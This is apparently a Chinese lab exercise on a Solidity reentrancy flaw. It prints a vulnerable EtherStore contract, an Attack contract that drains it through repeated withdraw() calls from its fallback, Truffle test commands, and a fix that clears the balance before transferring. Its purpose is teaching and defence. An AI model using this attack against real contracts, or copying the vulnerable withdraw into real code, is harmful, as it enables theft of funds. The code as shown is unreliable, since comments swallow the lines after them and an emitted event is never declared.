打开Ganache
vscode打开智能合约漏洞工程
合约内容
pragma solidity >=0.8.3;contract EtherStore {mapping(address => uint) public balances;function deposit() public payable {balances[msg.sender] += msg.value;emit Balance(balances[msg.sender]);}function withdraw() public {uint bal = balances[msg.sender];require(bal > 0);(bool sent, ) = msg.sender.call{value: bal}("");require(sent, "Failed to send Ether");balances[msg.sender] = 0;}// Helper function to check the balance of this contractfunction getBalance() public view returns (uint) {return address(this).balance;}
}contract Attack {EtherStore public etherStore;constructor(address _etherStoreAddress) {etherStore = EtherStore(_etherStoreAddress);}// Fallback is called when EtherStore sends Ether to this contract.fallback() external payable {if (address(etherStore).balance >= 1) {etherStore.withdraw();}}function attack() external payable {require(msg.value >= 1);etherStore.deposit{value: 1}();etherStore.withdraw();}// Helper function to check the balance of this contractfunction getBalance() public view returns (uint) {return address(this).balance;}
}
此智能合约存在“重入"即“Re-Entrance"问题,由于调用智能合约的转账操作需要通过打包后才会生效,可能出现重复提现从而使得其他合约账户被盗的问题
根据truffle工具中的代码文件,编写测试用例,复现智能合约中存在的漏洞
测试用例
truffle test test/ReEntrancy.js
执行命令复现智能合约漏洞
创建新的智能合约,修复其中问题,说明修复内容并测试。
主要修复点为withdraw()的体现方法,具体操作为先将账户清零,再转账
使用同样的测试用例进行操作
truffle test test/ReEntrancyRepair.js